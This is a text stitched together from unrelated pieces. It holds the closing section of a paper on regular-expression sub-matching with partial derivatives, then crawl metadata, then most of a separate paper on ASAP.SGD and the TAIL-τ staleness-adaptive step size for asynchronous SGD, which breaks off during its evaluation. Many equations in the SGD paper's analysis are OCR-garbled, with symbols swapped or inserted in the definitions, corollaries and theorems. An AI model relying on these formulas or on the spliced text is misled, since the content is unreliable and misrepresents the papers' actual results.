that partial derivatives are competitive. Fischer, Huch and Wilke [7] discuss a rewriting-based approach to support regular expressions based on Glushkov NFAs. They build the matching automata incrementally during the actual matching whereas we build a classic matching automata based on partial derivative NFAs. There exists a close connection between Glushkov and partial derivative NFAs, e.g. see [1]. However, as our benchmark results show it appears that matching via partial derivative NFAs is superior. As mentioned earlier, the Fischer et. al. approach is fairly limited when it comes to sub-matching. Three matching policies are discussed (leftmost, leftlong and longest). Longest seems closest to POSIX and greedy left-most but not formal investigations on this topic are conducted in [7]. 9. Conclusion Our work shows that regular expression sub-matching can be elegant using derivatives and partial derivatives. The Haskell implementation of our partial derivative matching algorithm is the fastest among all native in Haskell implementations we are aware of. Our performance results show that we are competitive compared to state-of-the-art C-based implementations such as PCRE and RE2. Our extensive set of benchmarks show that our approach yields competitive performance results. Acknowledgments We thank Christopher Kuklewicz for useful discussions about his TDFA system, Christian Urban for his comments and Russ Cox for pointing us to some related work. We are grateful to some ICFP'10, ICFP'11 and PPDP'12 reviewers for their helpful comments on previous versions of this paper. References [22] M. Sulzmann and K. Z. M. Lu. Xhaskell - adding regular expression
{"Source-Url": "http://www.home.hs-karlsruhe.de/~suma0002/publications/ppdp12-part-deriv-sub-match.pdf", "len_cl100k_base": 15197, "olmocr-version": "0.1.53", "pdf-total-pages": 12, "total-fallback-pages": 0, "total-input-tokens": 53056, "total-output-tokens": 17657, "length": "2e13", "weborganizer": {"__label__adult": 0.0004055500030517578, "__label__art_design": 0.0005693435668945312, "__label__crime_law": 0.0003783702850341797, "__label__education_jobs": 0.0008559226989746094, "__label__entertainment": 0.000133514404296875, "__label__fashion_beauty": 0.0001928806304931641, "__label__finance_business": 0.00023615360260009768, "__label__food_dining": 0.00040435791015625, "__label__games": 0.0006961822509765625, "__label__hardware": 0.0008745193481445312, "__label__health": 0.0007214546203613281, "__label__history": 0.0003178119659423828, "__label__home_hobbies": 0.0001156330108642578, "__label__industrial": 0.0004787445068359375, "__label__literature": 0.00048279762268066406, "__label__politics": 0.00032973289489746094, "__label__religion": 0.0006208419799804688, "__label__science_tech": 0.069580078125, "__label__social_life": 0.00012743473052978516, "__label__software": 0.008758544921875, "__label__software_dev": 0.91259765625, "__label__sports_fitness": 0.00029921531677246094, "__label__transportation": 0.0004754066467285156, "__label__travel": 0.00021648406982421875}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 58641, 0.0182]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 58641, 0.16373]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 58641, 0.80679]], "google_gemma-3-12b-it_contains_pii": [[0, 4903, false], [4903, 10956, null], [10956, 14918, null], [14918, 21242, null], [21242, 24513, null], [24513, 29822, null], [29822, 32664, null], [32664, 38312, null], [38312, 45253, null], [45253, 47987, null], [47987, 51594, null], [51594, 58641, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4903, true], [4903, 10956, null], [10956, 14918, null], [14918, 21242, null], [21242, 24513, null], [24513, 29822, null], [29822, 32664, null], [32664, 38312, null], [38312, 45253, null], [45253, 47987, null], [47987, 51594, null], [51594, 58641, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 58641, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 58641, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 58641, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 58641, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 58641, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 58641, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 58641, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 58641, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 58641, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 58641, null]], "pdf_page_numbers": [[0, 4903, 1], [4903, 10956, 2], [10956, 14918, 3], [14918, 21242, 4], [21242, 24513, 5], [24513, 29822, 6], [29822, 32664, 7], [32664, 38312, 8], [38312, 45253, 9], [45253, 47987, 10], [47987, 51594, 11], [51594, 58641, 12]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 58641, 0.0]]}
olmocr_science_pdfs
2024-12-08
2024-12-08
c7d47a916a4156a87e6351d0b3c3feb5611d5195
ASAP.SGD: Instance-based Adaptiveness to Staleness in Asynchronous SGD Karl Bäckström 1 Marina Papatriantafilou 1 Philippas Tsigas 1 Abstract Concurrent algorithmic implementations of Stochastic Gradient Descent (SGD) give rise to critical questions for compute-intensive Machine Learning (ML). Asynchrony implies speedup in some contexts, and challenges in others, as stale updates may lead to slower, or non-converging executions. While previous works showed asynchrony-adaptiveness can improve stability and speedup by reducing the step size for stale updates according to static rules, there is no one-size-fits-all adaptation rule, since the optimal strategy depends on several factors. We introduce (i) ASAP.SGD, an analytical framework capturing necessary and desired properties of staleness-adaptive step size functions and (ii) TAIL-τ, a method for utilizing key properties of the execution instance, generating a tailored strategy that not only dampens the impact of stale updates, but also leverages fresh ones. We recover convergence bounds for adaptiveness functions satisfying the ASAP.SGD conditions, for general, convex and non-convex problems, and establish novel bounds for ones satisfying the Polyak-Lojasiewicz property. We evaluate TAIL-τ with representative AsyncSGD concurrent algorithms, for Deep Learning problems, showing TAIL-τ is a vital complement to AsyncSGD, with (i) persistent speedup in wall-clock convergence time in the parallelism spectrum, (ii) considerably lower risk of non-convergence, as well as (iii) precision levels for which original SGD implementations fail. 1. Introduction The ascending interest in concurrent SGD is due to the explosion of data volumes, requiring scalable systems to process them in ML and Artificial Neural Network (ANN) applications. However, parallelization of the inherently sequential SGD process is non-trivial since each iteration requires the computation of the previous one. Besides understanding the dynamics of such executions, achieving resource-efficiency is a known significant target, since it can imply significant improvements in energy efficiency. Traditional synchronous SGD (SyncSGD) conforms to the sequential SGD semantics by employing iteration-level parallelism, and lock-step-style synchronization. In practice, SyncSGD accelerates updates by data-parallel concurrent gradient computation, e.g. by GPU-acceleration, or aggregating gradient contributions in distributed settings. SyncSGD improves computational efficiency up to a point, but suffers direct limitations, as each iteration is at least as slow as the slowest contributing worker. However, from an optimization standpoint SyncSGD is analogous to sequential SGD, with well-understood convergence properties. In contrast, asynchronous concurrent SGD (AsyncSGD) introduces a higher-level parallelism by relaxing the sequential SGD semantics, allowing asynchronous reads/uploads on the shared ML model θ. Consequently, AsyncSGD provides computational benefits, however at the price of asynchrony-induced noise due to the staleness τ that arises when updates are not applied to the same states based on which they were computed, but instead on ones that have been updated τ times in-between. It was within convex optimization, targeting primarily regression problems (Zinkevich et al., 2009; 2010), where it was shown that the asynchrony-induced noise had small impact on the quality of the updates, and that the computational benefits of reduced synchronization provided speedup for certain problems. A relevant example is HOGWILD! which, with only component-wise atomic access to θ (i.e. relaxed consistency by not ensuring atomicity for the complete vector) showed almost-linear speedup for strongly convex and sparse problems (Recht et al., 2011; Alistarh et al., 2018; Nguyen et al., 2018). Asymptotic bounds for AsyncSGD were similarly established under strong convexity and smoothness assumptions, and for non-convex problems, such as matrix completion (De Sa et al., 2015). However, these analytical confinements make the concluding outcomes non-applicable for a wider class of applications, including Deep Learning (DL), characterized by inherent non-convexity. This is confirmed in recent works (Wei et al., 2019; Bäckström et al., 2019; Lopez et al., 2020; Bäck- ström et al., 2021), showing challenges in achieving stable and high-quality convergence with AsyncSGD for ANN training, due to staleness. The importance of progress and consistency guarantees of AsyncSGD is emphasized in (Bäckström et al., 2021), where the introduced lock-free and consistent Leashed-SGD shows major improvements in convergence stability (reduced risk of non-convergence) compared to lock-based AsyncSGD and HOGWILD!. Recent works show that asynchrony-awareness can reduce negative effects of staleness, by dampening the step size of stale updates (Sra et al., 2016; Zhang et al., 2016; Bäckström et al., 2019; Ren et al., 2020; Damaskinos et al., 2020). In particular, staleness-adaptiveness has been proven to reduce the statistical penalty of asynchrony in AsyncSGD, thereby improving its stability and convergence rate. Challenges. In summary, stable convergence of AsyncSGD is critically sensitive to (i) parallelism degree, (ii) asynchrony-awareness, and (iii) progress and consistency guarantees of the algorithmic implementation, and the mechanisms to ensure them, e.g. locking. These factors have been studied mostly in isolation, and there is an imminent need to evaluate them in conjunction, to understand how AsyncSGD can be utilized effectively in practice. Moreover, existing staleness-adaptive methods either (i) statically scale the overall system step size at initialization or (ii) use a pre-defined heuristic or staleness model to regulate the step size based on the observed staleness. An inherent pitfall of adapting the step size during execution is that the overall magnitude might be altered, which by itself will impact the efficiency. E.g., previous works employ adaptiveness strategies that almost exclusively diminish the overall step size (Sra et al., 2016; Zhang et al., 2016; Ren et al., 2020; Damaskinos et al., 2020). This is problematic for several reasons, e.g., (i) it may be fatal for applications sensitive to the choice of the step size (read: Deep Learning), leading to non-converging executions, and (ii) it introduces ambiguity regarding the source of potential performance improvements, reducing comparability between methods. Besides, these approaches take no consideration of the effect of underlying system parameters, such as hardware, scheduling, synchronization and consistency properties. These aspects, just like the number of workers, and other hyper-parameters, significantly influence the convergence rate in general (Ma et al., 2019), and the staleness distribution in particular (Bäckström et al., 2021) and can even result in multi-modal ones as we show here. Hence, there are inherent challenges in designing adaptation schemes capable of incorporating the effects of all of these critical aspects in conjunction. Contributions. We introduce the instance-based asynchrony-awareness paradigm, with the execution-dynamic TAIL-τ staleness-adaptive step size function. We also establish a framework for adaptiveness to staleness in asynchronous parallel SGD (ASAP-SGD), capturing key properties of such functions in general. In detail: - ASAP-SGD captures general staleness-adaptive step size function properties, (i) necessary for maintaining overall step size magnitudes and ensuring method comparability, and (ii) desired for prioritizing gradient freshness. - Within ASAP-SGD, we introduce TAIL-τ, a dynamic staleness-adaptive step size function, that (i) utilizes the observed staleness distribution as means to implicitly take underlying system parameters into consideration, and (ii) generates an execution-specific adaptation strategy, in the spirit of instance-based optimization (Kraska, 2021) - We recover asymptotic convergence bounds for TAIL-τ in particular, and general ones within the ASAP-SGD framework, for convex and non-convex applications. We establish novel bounds for loss functions satisfying the Polyak-Lojasiewicz (PL) condition, which characterizes the shape of non-convexity, and is satisfied by several relevant ML loss functions, including least squares, logistic regression, support vector machines and certain deep ANNs. - We implement TAIL-τ, extending existing concurrent AsyncSGD implementations (Bäckström, 2021), to promote further exploration of general staleness-adaptiveness within ASAP-SGD. The results show that TAIL-τ is a vital complement for fast and stable convergence for any AsyncSGD implementation, across the parallelism spectrum, due to its dynamic instance-based generation of tailored step size strategies. In particular, the evaluation, capturing several representative system features associated with synchronization, parallelism, execution-ordering properties, shows that for image classification training with LeNet and MLP, on MNIST, Fashion-MNIST, and CIFAR-10, TAIL-τ achieves significantly faster convergence persistently (e.g. 60% speedup, on average, for LeNet training on MNIST), for three fundamentally different AsyncSGD implementations, and drastically lowers the risk of non-converging executions, especially to higher precision. 2. Background and related work Adaptive parallel SGD. (cf. also Table 1) Staleness/asynchrony awareness was first studied for smooth and convex problems in (Agarwal & Duchi, 2011), introducing a step size reduction based on worst-case staleness. Adaptiveness to observed staleness was studied in (McMahan & Streeter, 2014) assuming convexity, sparse gradients and certain ordering of reads and updates across threads, and evaluated for logistic regression. (Zhang et al., 2016), with a $1/\tau$ staleness compensation scheme in a semi-synchronous distributed settings, show empirically speedup for ANN training with limited parallelism. For partial asynchrony, (Haddadpour et al., 2019) introduced an adaptive scheme for regulating synchronization frequency, show- ing convergence bounds in non-convex Polyak-Lojasiewicz functions. In contrast, our work establishes convergence bounds for fully asynchronous SGD with unbounded staleness, using staleness-adaptive step size strategies, for general non-convex functions, as well as ones satisfying the Polyak-Lojasiewicz condition. AdaDelay (Sra et al., 2016) proposed $O(1/\sqrt{T})$ staleness-adaptive step sizes for smooth, convex problems, showing scalability improvements. Their analysis was based on a uniformly distributed staleness model, which (Bäckström et al., 2019) established to be a simplifying assumption; the latter also introduced the MindTheStep-AsyncSGD framework, proposing $O(C^{-\tau})$ and $O(C^{-\tau}/\sqrt{T})$ schemes based on a Poisson-based staleness model, showing improved convergence rates for practical DL. (Aviv et al., 2021) introduced a regret-based delay-adaptive approach for convex, smooth settings, while in a Federated Learning (FL) context, (Damaskinos et al., 2020) adopted an exponential dampening approach ($O(C^{-\beta T})$), explored initially in (Bäckström et al., 2019), where the rate of decay is based on the $s$-th percentile of the staleness distribution. The approach of (Damaskinos et al., 2020) showed practical benefits for online ML applications at the edge. In (Ren et al., 2020), a $O(t^{-\tau})$ staleness-adaptive scheme is proposed, analyzed under quasi- and star-convex functions, showing improved convergence for projected GD with artificial noise, under simulated staleness. The aforementioned works are however mostly static in their strategy, i.e. are either model-based or based on a heuristic (e.g. $1/\tau$). Here we study closely the staleness distribution and explore how to utilize this information to generate the strategy itself, which (see Section 6) entails significant improvements in convergence and robustness. Non-convex asynchronous SGD. The literature on standard, non-adaptive, convex AsyncSGD is vast, and a useful overview is in (Ben-Nun & Hoefler, 2019). Here we highlight recent relevant AsyncSGD results for practical non-convex applications, including DL. In (Yazdani & Hale, 2021), linear convergence was established under the Polyak-Lojasiewicz condition, however assuming bounded staleness; the empirical evaluation focused on logistic regression, a convex problem. (Wei et al., 2019) proposed a static method for ensuring data-disjoint concurrent accesses, showing promising scalability for the non-convex problem of matrix factorization with SGD; the method is however, as they state, not applicable to DL in general. (Lopez et al., 2020) proposed a semi-asynchronous SGD approach, showing speedup for DL on CPU and GPU architectures, requiring a synchronizing master thread which averages updates (Xie et al., 2020) proposed a byzantine-tolerant asynchronous SGD framework, using a parameter server ensuring quality and relevance of updates. Similarly to ours, their work covers Polyak-Lojasiewicz problems, however to the best of our knowledge, our work is the first to do so for instance-based asynchrony-aware algorithmic implementations of AsyncSGD. Optimization problem. We consider the unconstrained optimization problem $$\min_{\theta \in \mathbb{R}^d} L_D(\theta)$$ where (i) $D$ is the data set to be processed, (ii) $\theta \in \mathbb{R}^d$ is the ML model that encodes the learned knowledge of $D$ and (iii) the target function $L: \mathbb{R}^d \rightarrow \mathbb{R}^+$ quantifies the loss (error) of $\theta$ over $D$. Given some randomly chosen initial $\theta_0$, the first-order iterative optimizer SGD repeats the following: $$\theta_{t+1} = \theta_t - \eta_t \nabla L(\theta_t)$$ where $\theta_t \in \mathbb{R}^d$ is the state of the model $\theta$, and $\eta_t$ is the step size, in iteration $t$. We assume that $L = L_B$ where $B \subset D$ is a uniformly sampled mini-batch of data, and that $L$ is an unbiased estimator of $L_D$, i.e. $E[\nabla L(\theta)] = L_D(\theta) \forall \theta \in \mathbb{R}^d$. We assume that mini-batch samples, and hence the stochastic gradients $\nabla L$, are mutually statistically independent. The loss function $L_D: \mathbb{R}^d \rightarrow \mathbb{R}^+$, $\theta \rightarrow L_D(\theta)$ quantifies the performance of an ANN model, parameterized by $\theta$. SGD is repeated until $\theta$ satisfies $\epsilon$-convergence, defined as $\|L(\theta) - L(\theta^*)\| < \epsilon$, $\theta^*$ being a global minimum of $L$. 3. System model and problem analysis We consider a system with $m$ concurrent asynchronous threads or processes. Threads follow the SGD rule of (2) asynchronously, within the boundaries of the algorithm which implements it, being responsible for potential guarantees on consistency and progress. An outline of a standard shared-memory parallel AsyncSGD implementation is pro- Algorithm 1 Staleness-adaptive shared-memory AsyncSGD GLOBAL loss function $L$, iteration counter $t$, max. n.o. iterations $T$, shared state $\theta$, step size function $\eta(\tau)$ 1: Let $(t, \theta) \leftarrow (0, \text{rand\_init})$ Randomly initialize $\theta$ 2: Each thread: 3: while $t < T$ do 4: $(\theta_{\text{local}}, \theta_{\text{local}}) \leftarrow \text{copy}(t, \theta)$ 5: $\nabla_{\text{local}} \leftarrow \nabla L(\theta_{\text{local}})$ Compute local random gradient 6: $(t', \theta') \leftarrow \text{copy}(t, \theta)$ Acquire latest state 7: $\tau \leftarrow t' - t$ Calculate staleness 8: $(t, \theta) \leftarrow (t' + 1, \theta' - \eta(\tau)\nabla_{\text{local}})$ 9: end while provided in Algorithm 1, showing also how a staleness-adaptive step size is introduced. In direct shared memory communication, threads have atomic access to single-word locations for read and modify operations; in arbitrary contexts, steps 4 and 8 in Algorithm 1 can be executed through the help of a parameter server, through requests to read and update $\theta$. Due to asynchronous reads and updates of $\theta$ there can be intermediate updates, hence, the progression of $\theta$ follows: $$\theta_{t+1} = \theta_{t} - \eta_t \nabla L(\theta_t)$$ (3) where $\eta_t = \theta_{t-\tau_t}$ is the view of the updating thread in iteration $t$, and $\tau_t$ is the staleness, defined as the number of intermediate updates. When atomicity is not guaranteed, e.g. HOGWILD!, a total ordering of the updates is not naturally imposed, and has to be defined. Here, we assume a total ordering as in (Alistarh et al., 2018), and define the staleness thereafter. By staleness distribution we refer to the distribution of all observed staleness values throughout a particular execution of AsyncSGD. We consider staleness ($\tau_t$) to be a stochastic process, the elements of which, unlike the stochastic gradients, are not necessarily mutually independent. However, we assume $E[\tau_t] = \bar{\tau} \forall t$ and that the execution is non-anticipative in the sense that states are mean-independent of future instances of the staleness, in particular $$E[\tau_t | \tau_{t'}] = E[\tau_t] \forall t < t'$$ (4) since the expected staleness is not influenced by future staleness. Note that this implies $E[\tau_t \tau_{t'}] = E[\tau_t] E[\tau_{t'}]$. Similarly, we assume that the staleness is mean-independent of $\theta$, since the statistical properties of the convergence progress are not expected to influence the delays of individual threads, which are related to hardware and scheduling. The step size $\eta_t$ in iteration $t$ will, unless stated otherwise, be considered a function of the staleness $\tau_t$ in the same iteration; the details appear in the subsequent section. In the analysis section, we will generally use the notation $E[x] = \bar{x}$. Damping is not sufficient. The primary focus of previous approaches has been to dampen the step size of stale updates (cf. Table 1). However, the overall staleness distribution changes with higher parallelism (Sra et al., 2016; Bäckström et al., 2021), in particular for $m$ threads, $E[\tau] \approx m - 1$ is known to hold (Bäckström et al., 2019). An adaptive step size which merely diminishes stale updates, will consequently tend to very small values as $m$ increases. This introduces a scalability issue, especially for non-convex problems, such as DL, which are step size sensitive, requiring updates of sufficiently coarse granularity to retain the level of stochasticity necessary for convergence. In fact, the commonly adopted $O(\tau^{-1})$ scaling, as well as the FLeet $O(e^{-\beta \tau})$ exponential dampening, were evaluated in our study, and compared with both constant step size AsyncSGD, as well as the staleness-adaptive function $\text{TAIL-}\tau$ proposed here. The results show convergence rates orders of magnitude slower than just the corresponding non-adaptive variant, and especially when compared to the proposed $\text{TAIL-}\tau$ function (see Section 6). 4. Method Here we present the ASAP.SGD framework, the staleness-adaptive TAIL-$\tau$ step size function, and their properties. 4.1. The ASAP.SGD framework We start by formalizing the concept of a staleness-adaptive step size, and its connection to the overall base step size. Definition 4.1. A staleness-adaptive step size function $\eta; \mathbb{N} \rightarrow \mathbb{R}^+, \tau \mapsto \eta(\tau : \eta^0)$, given some base step size $\eta^0 \in \mathbb{R}^+$, maps the stochastic staleness $\tau_t$ of the update at time $t$ onto a step size $\eta(\tau : \eta^0)$ to be used for that update. The base step size $\eta_0$ is typically the ‘best known’ step size for the problem at hand for standard sequential SGD. A staleness-adaptive function then alters this step size online, based on observed staleness. Definition 4.1 implies in particular that the step size, as a function of the staleness, is consequently also considered stochastic. The step size $\eta_t$ at iteration $t$ is however influenced only by the staleness $\tau_t$. A challenge with staleness-adaptive step sizes is that they may alter the overall magnitude of the updates, which is undesirable since (i) it induces deviation from the expected step size magnitude, with unpredictable impact on the convergence, and (ii) makes it inherently different to compare the convergence impact of different strategies. We introduce the mean-preservation property to address this. Definition 4.2 (Mean-preservation). A staleness-adaptive step size function $\eta$ is referred to as mean-preserving if $$E[\eta(\tau : \eta^0)] = \eta^0$$ (5) Definition 4.2 ensures that the average step size used throughout an execution of AsyncSGD is exactly $\eta^0$. Performance benefits due to a mean-preserving adaptive step size can hence be assured to be due to the adaptation strategy, as opposed to using a step size of an overall different magnitude. In the following, in the context of mean-preserving step sizes, we use notation $\eta^0$ and $\bar{\eta}$ interchangeably. Lastly, we introduce the priority-preservation property: Definition 4.3 (Priority-preservation). A staleness-adaptive step size function $\eta$ is referred to as priority-preserving if $\eta$ is non-increasing with respect to $\tau$, i.e. $$\eta(\tau + 1 : \eta^0) \leq \eta(\tau : \eta^0) \quad \forall \tau$$ (6) Definition 4.3 implies not only that stale updates are lower prioritized, but also that fresh updates can be emphasized. With the above in mind, we now define the ASAP.SGD framework for staleness-adaptive step size functions: Definition 4.4 (ASAP.SGD). A function $\eta$ is an ASAP.SGD step size function, iff $\eta$ is staleness-adaptive, mean-preserving and priority-preserving. 4.2. The TAIL-$\tau$ function Next, within the ASAP.SGD framework we define the instance-based staleness-adaptive TAIL-$\tau$ step size function, which considers the overall staleness distribution, to dynamically compute an execution-tailored adaptation strategy. Definition 4.5. A TAIL-$\tau$ function is a staleness-adaptive step size function $\eta$ which is of the form $$\eta(\tau : \eta^0) = C_A(\tau) \cdot \eta^0$$ (7) where the scaling factor $C_A$ is given by $$C_A(\tau) = 1 + A \cdot (1 - 2F_\tau(\tau))$$ Here, $F_\tau(\tau) = P[\bar{\tau} \leq \tau]$ is the cumulative distribution function (CDF) of the stochastic staleness. The amplitude parameter $A$ of the TAIL-$\tau$ function specifies the maximum deviation of $\eta$ from the base step size $\eta^0$. The scaling factor $C_A(\tau)$ of the TAIL-$\tau$ function (7) utilizes the CDF of $\tau$, implicitly taking the system staleness distribution into consideration for generating a dynamic adaptive step size function, tailored to the specific execution. This leads to the visualization in Figure 1, showing the response of $C_A(\tau)$ to different ranges of stochastic staleness. E.g., it enables tailored treatment of multi-modal staleness distributions, which may emerge under hyperthreading or congestion for accessing shared resources. The name TAIL-$\tau$ relates to the $1 - F_\tau(\tau) = P[\bar{\tau} > \tau]$ component, which is known as the tail distribution function. Practical note. The TAIL-$\tau$ function is straightforward to apply to any implementation of AsyncSGD, since it requires only measuring the distribution of the staleness, and computing the corresponding CDF $F_\tau(\tau) = P[\bar{\tau} < \tau]$, to be used in the step size (7). TAIL-$\tau$ introduces negligible overhead, as measuring $\tau$ is a small, constant-time operation, independently of e.g. architecture size. Next, we verify that TAIL-$\tau$ satisfies the properties of the ASAP.SGD framework. Proofs appear in the Appendix. Theorem 4.6. A TAIL-$\tau$ function $\eta$ according to (7) is an ASAP.SGD step size function, according to Definition 4.4. In the following lemma we show several core properties of the TAIL-$\tau$ function, to be used in subsequent analysis. Lemma 4.7. For a TAIL-$\tau$ adaptive step size $\eta(\tau : \eta^0) = C_A(\tau) \cdot \eta^0$, we have $$\max_{\tau} \eta(\tau : \eta^0) = (1 + A)\eta^0 \quad (i)$$ $$\min_{\tau} \eta(\tau : \eta^0) = (1 - A)\eta^0 \quad (ii)$$ $$\text{Var}[\eta(\tau)] = (A\eta)^2/3 \quad (iii)$$ $$C_A(\tau) \leq 1 + (2(m - 1)/\tau - 1)A \quad (iv)$$ Lemma 4.7 provides useful criteria for deciding the parameters $\eta^0$ and $A$ in practice, for ensuring that $\eta(\tau : \eta^0)$ stays within desirable magnitudes suitable for the given problem. TAIL-$\tau$ can be extended in the same spirit as Definition 4.5, to allow a higher degree of customizability in the instance-adaptiveness, still satisfying the properties of Lemma 4.7. In particular, the degree with which the CDF of $\tau$ influences the scaling factor $C_A$, and how much variations of $\tau$ values are reflected in the step size, can be altered, depending on the application. The general formulation of TAIL-$\tau$ enjoys the convergence guarantees to follow in Section 5, however, appears in Appendix A.1 due to space constraints. 5. Convergence analysis In this section we establish asymptotic convergence bounds of the method proposed in the previous section, considering: Assumption 5.1. Expected Lipschitz-continuous gradients $$E[\|\nabla L(x) - \nabla L(y)\|] \leq \mathcal{L}E[\|x - y\|] \quad \forall x, y$$ (8) Assumption 5.2. Expected bounded gradient moment $$E[\|\nabla L(x)\|^2] \leq M^2 \quad \forall x$$ (9) These provide the problem additional structure, hold for a wide set of loss functions in practice, and are widely adopted in the literature (Agarwal & Duchi, 2011; Zhang et al., 2016; Alistarh et al., 2018; Bäckström et al., 2019). We consider general non-convex problems here, but for self-containment we also establish fundamental convex convergence bounds, available in the Appendix. The following lemma shows the expected progression of the SGD iterates for arbitrary staleness-adaptive step sizes. Lemma 5.3. Consider the optimization progression of (1), and follow the SGD step (3). Let $\eta_t = \eta(\tau_t : \bar{\eta})$ be a staleness- adaptive step size function (according to Definition 4.1). Then we have the following expected iterative progression: $$\mathbf{E}[L(\theta_{t+\frac{1}{2}}) - L(\theta_t)] \leq L M^2 \left( \mathbf{E}[\eta^2] / 2 + \mathbf{E}[\tau\eta] E[\eta] \right) - \mathbf{E}[\eta] E[\|\nabla L(\theta_t)\|^2]$$ The following lemma establishes the expected iterative progression of AsyncSGD with ASAP.SGD step sizes: **Corollary 5.4.** Under the same conditions as Lemma 5.3, let in addition $\eta(\tau_t; \tilde{\eta})$ be mean- and priority-preserving, hence an ASAP.SGD step size. Then we have: $$\mathbf{E}[L(\theta_{t+\frac{1}{2}}) - L(\theta_t)] \leq L M^2 \left( \mathbf{E}[\eta^2] / 2 + \tilde{\eta}^2 \tau T \right) - \mathbf{E}[\tilde{\eta}] E[\|\nabla L(\theta_t)\|^2]$$ Corollary 5.4 follows directly from mean-preservation, and from that $\mathbf{E}[\tau T] \leq \mathbf{E}[\tau] E[\eta]$ by priority-preservation. Corollary 5.4 serves as a common starting point for convergence analysis of a wide range of ASAP.SGD step size functions. Using the specifics of the step size function, lemma 5.3 can be used to derive explicit convergence bounds, as we demonstrate in the following for TAIL-\tau. **Corollary 5.5.** Assume the conditions of Lemma 5.3, and let $\eta(\tau_t; \tilde{\eta}) = C_\Delta(\tau_t) \cdot \tilde{\eta}$ be a TAIL-\tau step size function. Then: $$\mathbf{E}[L(\theta_{t+\frac{1}{2}}) - L(\theta_t)] \leq L M^2 \tilde{\eta}^2 \left( A^2 / \theta + \tau T \right) - \tilde{\eta} E[\|\nabla L(\theta_t)\|^2]$$ Corollary 5.5 follows from Corollary 5.4, utilizing the TAIL-\tau properties from Lemma 4.7, and shows the iterative improvement for TAIL-\tau, to be used in subsequent results. In the following theorem we establish expected time until convergence to an approximate critical point of SGD for general non-convex, smooth functions, using TAIL-\tau. **Theorem 5.6.** Assume $L(\theta_0) - L(\theta^*) < \delta$, and let $\eta(\tau_t; \tilde{\eta}) = C_\Delta(\tau_t) \cdot \tilde{\eta}$ be a TAIL-\tau step size function. Then we have a $O(1/\sqrt{T})$ convergence bound, to an approximate critical point, after $T$ AsyncSGD iterations. Specifically, if $$\tilde{\eta} = \delta / L M^2 T (A^2 + \tau T)$$ then $$\min_x \mathbf{E}[\|\nabla L(\theta_t)\|^2] \leq 2 \sqrt{L M^2 (A^2 + \tau T)} \delta / \sqrt{T}$$ Theorem 5.6 shows that TAIL-\tau recovers the standard bound $O(1/\sqrt{T})$ of SGD on smooth non-convex problems (Ghadimi & Lan, 2013). However, this is rather pessimistic as it applies to general non-convex functions. We consider the following to provide more structure to the problem: **Assumption 5.7.** Polyak-Lojasiewicz (PL) condition. A function $L$ is referred to as $\mu$-PL if, for some $\mu > 0$: $$\mathbf{E}[\|\nabla L(x)\|^2] \geq \mu \mathbf{E}[L(x) - L(x^*)] \quad \forall x$$ PL is a geometric condition characterizing the shape of non-convex functions. It can be regarded as a generalization of strong convexity, however without requirements on e.g. uniqueness of minimizers. Several ML loss functions satisfy the condition, including least squares, logistic regression, support vector machines (Karimi et al., 2016) and certain types of deep ANNs (Charles & Papailiopoulos, 2018). Next we establish asymptotic convergence of AsyncSGD with TAIL-\tau step size function for smooth, $\mu$-PL functions. **Theorem 5.8.** Let $L$ be $\mu$-PL, and $L(\theta_0) - L(\theta^*) < \delta$. Further, let $\eta(\tau_t; \tilde{\eta}) = C_\Delta(\tau_t) \cdot \tilde{\eta}$ be a TAIL-\tau step size function. Then we have expected $\epsilon$-convergence in $T = O \left( \frac{1}{\epsilon} \left( \frac{2\delta}{\epsilon} \right)^2 \right)$ iterations. More precisely, let $$\tilde{\eta} = \frac{L M^2 (A^2 / \theta + \tau T)}{\mu^2 \epsilon}$$ Then we have $$\mathbf{E}[L(\theta_T) - L(\theta^*)] < \epsilon$$ for $T > \frac{L M^2 (A^2 / \theta + \tau T)}{\mu^2 \epsilon} \log \left( \frac{2\delta}{\epsilon} \right)$. The reason for the $O(A^2)$ term in Theorems 5.6 and 5.8 (negligible compared to the $O(\tau)$ additive term) is due to the analytical estimation of the variance of TAIL-\tau (Lemma 4.7, (iii)), which must be considered (Cor. 5.5), specifically when expanding the $\mathbf{E}[\eta^2] \tau T$ term. As we make no assumptions on PDF($\tau$), the bounds reflect the expected worst-case convergence over all possible $\tau$ distributions. Additional information on the $\tau$ distribution can (using Corollary 5.4 as a starting point) derive tighter algorithm-specific bounds. ### 6. Evaluation We complement the analysis with benchmarking the TAIL-\tau function, for implementations of AsyncSGD representative of a variety of system-execution properties relating with scheduling and ordering. We evaluate TAIL-\tau, comparing to standard constant step size executions, for relevant DL benchmark applications, namely training the LeNet (LeCun et al., 1998) architecture, as well as a 3-layer MLP, for image recognition for image recognition on both MNIST and Fashion MNIST. The evaluation focuses on convergence rates, primarily wall-clock time to $\epsilon$-convergence (which is the most relevant in practice), as well as number of successful executions, for various precision levels $\epsilon$. We include a broad spectrum of parallelism, giving a detailed picture of the capability of the methods to scale in practice. We also study the staleness distributions, the adaptive response of the TAIL-\tau function, and its impact on the convergence. **Implementation.** We evaluate the TAIL-\tau for three AsyncSGD algorithms, representing fundamentally different synchronization mechanisms and guarantees on progress and consistency, and in this way capturing a variety of scheduling and ordering system-execution properties: (i) lock-based AsyncSGD (Zinkevich et al., 2009; 2010; Agarwal & Duchi, 2011) (ii) lock-free, but inconsistent, HOGWILD! (Recht et al., 2011; De Sa et al., 2015; Alistarh et 